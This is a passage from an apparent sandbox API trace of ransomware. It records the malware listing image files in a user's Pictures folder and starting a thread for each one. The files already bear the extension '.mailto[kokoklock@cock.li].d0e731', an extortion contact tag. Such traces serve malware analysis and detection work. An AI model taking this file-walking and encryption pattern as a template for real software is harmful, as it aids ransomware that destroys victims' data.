cFileName="n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="N3CU4I~1.D0E")) returned 1 [0168.848] wcscmp (_String1="n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.848] wcscmp (_String1="n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.849] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2feda60 [0168.849] wcscpy (in: _Dest=0x2feda60, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.849] wcscat (in: _Dest=0x2feda60, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.849] wcscat (in: _Dest=0x2feda60, _Source="n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif.mailto[kokoklock@cock.li].d0e731" [0168.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2feda60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c [0168.849] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda992c30, ftCreationTime.dwHighDateTime=0x1d4d484, ftLastAccessTime.dwLowDateTime=0x3f7ca790, ftLastAccessTime.dwHighDateTime=0x1d4d416, ftLastWriteTime.dwLowDateTime=0x8102842b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3c21, dwReserved0=0x0, dwReserved1=0x0, cFileName="N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="N7LJW0~1.D0E")) returned 1 [0168.849] wcscmp (_String1="N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.849] wcscmp (_String1="N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.849] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x92) returned 0x2fe30e0 [0168.849] wcscpy (in: _Dest=0x2fe30e0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.849] wcscat (in: _Dest=0x2fe30e0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.849] wcscat (in: _Dest=0x2fe30e0, _Source="N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg.mailto[kokoklock@cock.li].d0e731" [0168.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe30e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458 [0168.850] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58693cc0, ftCreationTime.dwHighDateTime=0x1d4c72b, ftLastAccessTime.dwLowDateTime=0x655820c0, ftLastAccessTime.dwHighDateTime=0x1d4d209, ftLastWriteTime.dwLowDateTime=0x8107595d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x196b, dwReserved0=0x0, dwReserved1=0x0, cFileName="nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NH7Z83~1.D0E")) returned 1 [0168.850] wcscmp (_String1="nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.850] wcscmp (_String1="nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.850] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fe32c0 [0168.850] wcscpy (in: _Dest=0x2fe32c0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.850] wcscat (in: _Dest=0x2fe32c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.850] wcscat (in: _Dest=0x2fe32c0, _Source="nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731" [0168.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe32c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0168.851] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849b8380, ftCreationTime.dwHighDateTime=0x1d4d4f4, ftLastAccessTime.dwLowDateTime=0x7a246d40, ftLastAccessTime.dwHighDateTime=0x1d4c919, ftLastWriteTime.dwLowDateTime=0x8109abcf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12f7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NieW.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="NIEWBM~1.D0E")) returned 1 [0168.851] wcscmp (_String1="NieW.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.851] wcscmp (_String1="NieW.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.851] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x86) returned 0x2f826b8 [0168.851] wcscpy (in: _Dest=0x2f826b8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.851] wcscat (in: _Dest=0x2f826b8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.851] wcscat (in: _Dest=0x2f826b8, _Source="NieW.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731" [0168.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f826b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c [0168.852] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8078810, ftCreationTime.dwHighDateTime=0x1d4d0de, ftLastAccessTime.dwLowDateTime=0x85eb81e0, ftLastAccessTime.dwHighDateTime=0x1d4ce4b, ftLastWriteTime.dwLowDateTime=0x811334e4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14197, dwReserved0=0x0, dwReserved1=0x0, cFileName="OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="OQGNQ6~1.D0E")) returned 1 [0168.852] wcscmp (_String1="OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.852] wcscmp (_String1="OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.853] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f6f050 [0168.853] wcscpy (in: _Dest=0x2f6f050, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.853] wcscat (in: _Dest=0x2f6f050, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.853] wcscat (in: _Dest=0x2f6f050, _Source="OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731" [0168.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6f050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0168.854] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69f0ff00, ftCreationTime.dwHighDateTime=0x1d4c672, ftLastAccessTime.dwLowDateTime=0xc0d7530, ftLastAccessTime.dwHighDateTime=0x1d4ccc1, ftLastWriteTime.dwLowDateTime=0x811596f1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1079a, dwReserved0=0x0, dwReserved1=0x0, cFileName="QbTsr3.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="QBTSR3~1.D0E")) returned 1 [0168.854] wcscmp (_String1="QbTsr3.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.854] wcscmp (_String1="QbTsr3.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.854] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe48e8 [0168.854] wcscpy (in: _Dest=0x2fe48e8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.854] wcscat (in: _Dest=0x2fe48e8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.854] wcscat (in: _Dest=0x2fe48e8, _Source="QbTsr3.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731" [0168.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe48e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444 [0168.855] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3c1f50, ftCreationTime.dwHighDateTime=0x1d4cdf8, ftLastAccessTime.dwLowDateTime=0x159d17c0, ftLastAccessTime.dwHighDateTime=0x1d4cd0e, ftLastWriteTime.dwLowDateTime=0x8117fab7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="QLARU6~1.D0E")) returned 1 [0168.855] wcscmp (_String1="qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.855] wcscmp (_String1="qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.855] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fe5560 [0168.855] wcscpy (in: _Dest=0x2fe5560, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.855] wcscat (in: _Dest=0x2fe5560, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.855] wcscat (in: _Dest=0x2fe5560, _Source="qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731" [0168.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe5560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0168.856] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0168.856] wcscmp (_String1="Saved Pictures", _String2=".") returned 1 [0168.856] wcscmp (_String1="Saved Pictures", _String2="..") returned 1 [0168.856] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f88fd0 [0168.856] wcscpy (in: _Dest=0x2f88fd0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.856] wcscat (in: _Dest=0x2f88fd0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.856] wcscat (in: _Dest=0x2f88fd0, _Source="Saved Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures") returned="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures" [0168.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0168.857] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d768f0, ftCreationTime.dwHighDateTime=0x1d4ccec, ftLastAccessTime.dwLowDateTime=0xbee53eb0, ftLastAccessTime.dwHighDateTime=0x1d4c599, ftLastWriteTime.dwLowDateTime=0x811f2241, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x8aed, dwReserved0=0x0, dwReserved1=0x0, cFileName="TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="TG1FYX~1.D0E")) returned 1 [0168.857] wcscmp (_String1="TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.857] wcscmp (_String1="TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.857] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x98) returned 0x2fe3400 [0168.857] wcscpy (in: _Dest=0x2fe3400, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.857] wcscat (in: _Dest=0x2fe3400, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.857] wcscat (in: _Dest=0x2fe3400, _Source="TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\TG1fyx0oNrZZb.png.mailto[kokoklock@cock.li].d0e731" [0168.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0168.858] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7052c10, ftCreationTime.dwHighDateTime=0x1d4d106, ftLastAccessTime.dwLowDateTime=0xd9b40940, ftLastAccessTime.dwHighDateTime=0x1d4caf5, ftLastWriteTime.dwLowDateTime=0x81242453, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x98ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UOPWQV~1.D0E")) returned 1 [0168.858] wcscmp (_String1="uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.858] wcscmp (_String1="uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.858] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x90) returned 0x2fe5268 [0168.858] wcscpy (in: _Dest=0x2fe5268, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.858] wcscat (in: _Dest=0x2fe5268, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.858] wcscat (in: _Dest=0x2fe5268, _Source="uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\uOpWqV2kw.png.mailto[kokoklock@cock.li].d0e731" [0168.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe5268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0168.859] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81cbbc0, ftCreationTime.dwHighDateTime=0x1d4ccfd, ftLastAccessTime.dwLowDateTime=0xb77d4910, ftLastAccessTime.dwHighDateTime=0x1d4cbd9, ftLastWriteTime.dwLowDateTime=0x812648e6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3b0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="UQ3PRX~1.D0E")) returned 1 [0168.859] wcscmp (_String1="UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.859] wcscmp (_String1="UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.859] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fe4ed8 [0168.859] wcscpy (in: _Dest=0x2fe4ed8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.859] wcscat (in: _Dest=0x2fe4ed8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.859] wcscat (in: _Dest=0x2fe4ed8, _Source="UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\UQ3PrxUz.bmp.mailto[kokoklock@cock.li].d0e731" [0168.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4ed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0168.860] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c1f3fc0, ftCreationTime.dwHighDateTime=0x1d4d2c5, ftLastAccessTime.dwLowDateTime=0xdd75bb00, ftLastAccessTime.dwHighDateTime=0x1d4c6a9, ftLastWriteTime.dwLowDateTime=0x812b2ace, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VLPOGJ~1.D0E")) returned 1 [0168.860] wcscmp (_String1="VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.860] wcscmp (_String1="VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.860] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee6d8 [0168.860] wcscpy (in: _Dest=0x2fee6d8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.860] wcscat (in: _Dest=0x2fee6d8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.860] wcscat (in: _Dest=0x2fee6d8, _Source="VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731" [0168.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee6d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c [0168.861] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca400, ftCreationTime.dwHighDateTime=0x1d4cec3, ftLastAccessTime.dwLowDateTime=0xf59a8bc0, ftLastAccessTime.dwHighDateTime=0x1d4c695, ftLastWriteTime.dwLowDateTime=0x812d6ebc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd0d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WVENXS~1.D0E")) returned 1 [0168.861] wcscmp (_String1="wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.861] wcscmp (_String1="wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.861] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x98) returned 0x2fe3040 [0168.861] wcscpy (in: _Dest=0x2fe3040, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.861] wcscat (in: _Dest=0x2fe3040, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.861] wcscat (in: _Dest=0x2fe3040, _Source="wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731" [0168.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428 [0168.862] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa1c67f0, ftCreationTime.dwHighDateTime=0x1d4cdb5, ftLastAccessTime.dwLowDateTime=0xfcf56760, ftLastAccessTime.dwHighDateTime=0x1d4ca2c, ftLastWriteTime.dwLowDateTime=0x812fd0d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x14ee6, dwReserved0=0x0, dwReserved1=0x0, cFileName="XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="XSXB9S~1.D0E")) returned 1 [0168.862] wcscmp (_String1="XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.862] wcscmp (_String1="XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.862] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe4b48 [0168.862] wcscpy (in: _Dest=0x2fe4b48, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.862] wcscat (in: _Dest=0x2fe4b48, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.862] wcscat (in: _Dest=0x2fe4b48, _Source="XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731" [0168.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424 [0168.862] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0b5a00, ftCreationTime.dwHighDateTime=0x1d4c6c2, ftLastAccessTime.dwLowDateTime=0x7b58dd80, ftLastAccessTime.dwHighDateTime=0x1d4d2fc, ftLastWriteTime.dwLowDateTime=0x8134946f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9e72, dwReserved0=0x0, dwReserved1=0x0, cFileName="xVPn.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="XVPNGI~1.D0E")) returned 1 [0168.862] wcscmp (_String1="xVPn.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.863] wcscmp (_String1="xVPn.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.863] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x86) returned 0x2f82598 [0168.863] wcscpy (in: _Dest=0x2f82598, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.863] wcscat (in: _Dest=0x2f82598, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.863] wcscat (in: _Dest=0x2f82598, _Source="xVPn.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\xVPn.gif.mailto[kokoklock@cock.li].d0e731" [0168.863] CreateThread (in: lpThreadAttributes=0x0, 